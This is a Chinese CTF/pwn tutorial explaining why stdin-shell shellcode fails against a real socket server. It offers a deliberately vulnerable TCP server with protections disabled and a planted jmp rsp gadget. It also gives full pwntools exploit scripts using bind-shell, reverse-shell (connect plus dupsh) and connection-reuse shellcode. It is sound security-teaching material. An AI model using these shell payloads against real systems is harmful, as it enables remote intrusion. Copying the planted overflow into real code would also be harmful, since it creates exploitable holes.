真实的网络程序和Pwn题目中把输入输出映射到网络端口,二者程序本体的交互接口显然是不同的,后一种的CTF题目,真的具有现实意义么?如果是真的网络程序,我控制流劫持后直接执行system(“/bin/sh”)可以拿到shell么?如果不能,我如何才能Getshell呢?本篇我们通过一个例题回答上述问题。
socket
在看例题之前,首先要知道一个真实的网络程序是怎样实现的。在学习计算机网络时我们了解TCP/IP协议栈,在平日的安全研究中,我们能观察到一个程序使用了某个TCP端口,可以用wireshark抓到其通信的流量进而分析,如果分析出什么毛病,则可以用pwntools这种工具来完成基于网络信道的攻击。不过在以上的过程中,似乎并没有了解到我们到底是怎么把数据包发出去的,是从哪个接口来控制的TCP/IP这套协议栈。其实这个接口就是socket,linux提供给用户态程序来控制网络的接口。一句话理解:socket是API,背后实现了TCP/IP协议栈。
- Socket API
- 一文让你透彻理解Linux的SOCKET编程(含实例解析)
- sockaddr和sockaddr_in详解
- Socket为什么要翻译成套接字?
- Beej’s Guide to Network Programming
- Beej’s Guide to Network Programming 翻译
- Beej’s Guide to Network Programming 正体中文版
阅读完以上文章就大概明白了,一个网络连接对应了一个文件描述符,发送和接收数据最基本的方法和文件操作是完全一致的,就是read/write
。
例题
一个简单的栈溢出,不过输入接口是程序自身的启动的网络接口(tcp:8888)
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
int main (int argc, char **argv)
{
int s,c,j = 0xe4ff;
char buf[10];
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons(8888);
s = socket(AF_INET,SOCK_STREAM,0);
bind (s,(struct sockaddr *)&server,sizeof(server));
listen(s,10);
c = accept(s,NULL,NULL);
read (c,buf,1000);
return 0;
}
关闭所有保护编译:
➜ gcc main.c -fno-stack-protector -z execstack -no-pie -o main
特意预留了0xe4ff这个变量,小端存储对应的机器码就是jmp rsp
:
>>> from pwn import *
>>> context(arch='amd64')
>>> disasm('\xff\xe4')
' 0: ff e4 jmp rsp'
找到编译后这个gadget的地址,即可写利用了:
➜ ROPgadget --binary ./main | grep "jmp rsp"
0x0000000000400698 : jmp rsp
这里我们全部使用pwntools提供的shellcraft中的shellcode来解题。在常见的CTF题目中,由于和目标程序交互的本质就是标准输入输出,所以直接使用shellcraft.sh()
,即可执行shell程序并且和我们交互。但是如果用这种方法攻击此例题,则题目本地侧弹出一个shell,远程并无法Getshell:
from pwn import *
context(arch='amd64',os='linux')
io = remote("127.0.0.1",8888)
shellcode = asm(shellcraft.sh())
io.send('a'*40+p64(0x400698)+shellcode)
那我们如何才能Getshell呢?有如下三种办法:
正连
shellcode的功能为:让漏洞程序在其本地开启一个网络端口,并在有连接连入时将shell进程的输入输出绑定到该连接上。在msf中这个叫shell_bind_tcp
,在pwntools中叫shellcraft.bindsh()
,参数可以指定端口。如下,我们shellcode将shell开在目标机器的4444端口,然后继续用pwntools的去连接该端口即可在攻击窗口中获得一个交互式的shell。
from pwn import *
context(arch='amd64',os='linux')
io = remote("127.0.0.1",8888)
sc = asm(shellcraft.bindsh(4444))
io.send('a'*40+p64(0x400698)+sc)
sh = remote("127.0.0.1",4444)
sh.interactive()
反连
shellcode的功能为:让漏洞程序去连接远程的攻击者机器,并且将shell进程的输入输出绑定到此连接上。在msf中这个叫shell_reverse_tcp
,在pwntools中需要两步shellcraft.connect()+shellcraft.dupsh()
。根据文档,第一步会把与攻击者建立连接的文件描述符存放到rbp寄存器中,第二步会默认使用rbp寄存器中的文件描述符来重定向shell进程的输入和输出,即完成反连shell。
如下,攻击侧首先使用pwntools的listen
函数监听本机的4444端口,然后shellcode执行后将shell反弹到攻击侧的4444端口,然后使用pwntools的wait_for_connection
函数等待反连的连接,连入后即可在攻击窗口中获得一个交互式的shell。
from pwn import *
context(arch='amd64',os='linux')
sh = listen(4444)
io = remote("127.0.0.1",8888)
shellcode = asm(shellcraft.connect('127.0.0.1',4444)+shellcraft.dupsh())
io.send('a'*40+p64(0x400698)+shellcode)
sh.wait_for_connection()
sh.interactive()
不连
其实并不可能不连。你要远程攻击他,那必定得有数据通路,所以可以复用你攻击打过去的这个连接来获得交互shell。这个不连其实是不产生新的连接,也就是连接复用。在msf中这个叫shell_find_port
。在pwntools有两种办法可以实现这个复用,第一个是直接用dupsh()
,参数的立即数直接猜我们打过去连接的文件描述符的编号,第二种方法是findpeersh
,参数可以指明连接的端口号以挑选出合适的连接(没太研究明白是哪侧的端口)。此种方法在实际演示漏洞中几乎是没有必要的,除非是网络出入规则及其严格的情景下,或者比较古怪的CTF题目中既不让你正连,也不让你反连。如:X-NUCA 2020 Final 团队赛:QMIPS
本题如下,直接在攻击连接上获得交互式shell,并不用产生多余的连接。
from pwn import *
context(arch='amd64',os='linux')
io = remote("127.0.0.1",8888)
#shellcode = asm(shellcraft.dupsh(4))
shellcode = asm(shellcraft.findpeersh(io.lport))
io.send('a'*40+p64(0x400698)+shellcode)
io.interactive()
总结
媳妇的本题练习:深入理解pwn题中的正连/反连tcp
以上五种shellcode罗列如下:
from pwn import *
context(arch='amd64',os='linux')
io = remote("127.0.0.1",8888)
#shellcode = asm(shellcraft.sh())
#shellcode = asm(shellcraft.amd64.linux.bindsh(4444))
#shellcode = asm(shellcraft.connect('127.0.0.1',4444)+shellcraft.dupsh())
#shellcode = asm(shellcraft.dupsh(4))
#shellcode = asm(shellcraft.findpeersh(io.lport))
io.send('a'*40+p64(0x400698)+shellcode)
io.interactive()
- msf的shellcode可以使用
msfvenom --list payloads
查找 - pwntools的shellcode可以直接在文档中查找:shellcraft
其实这五种shellcode,只要执行了,都是远程代码执行(RCE),但在攻击侧获得一个交互式shell的是后四种。
回答
- 问:如果是真的网络程序,我控制流劫持后直接执行system(“/bin/sh”)可以拿到shell么?
-
答:不能在远程拿到shell。
- 问:以上情节,如何远程Getshell呢?
-
答:正连、反连、不连。
- 问:把标准输入输出映射到网络端口的CTF题目,真的具有现实意义么?
- 答:有,其实就是换个shellcode的事。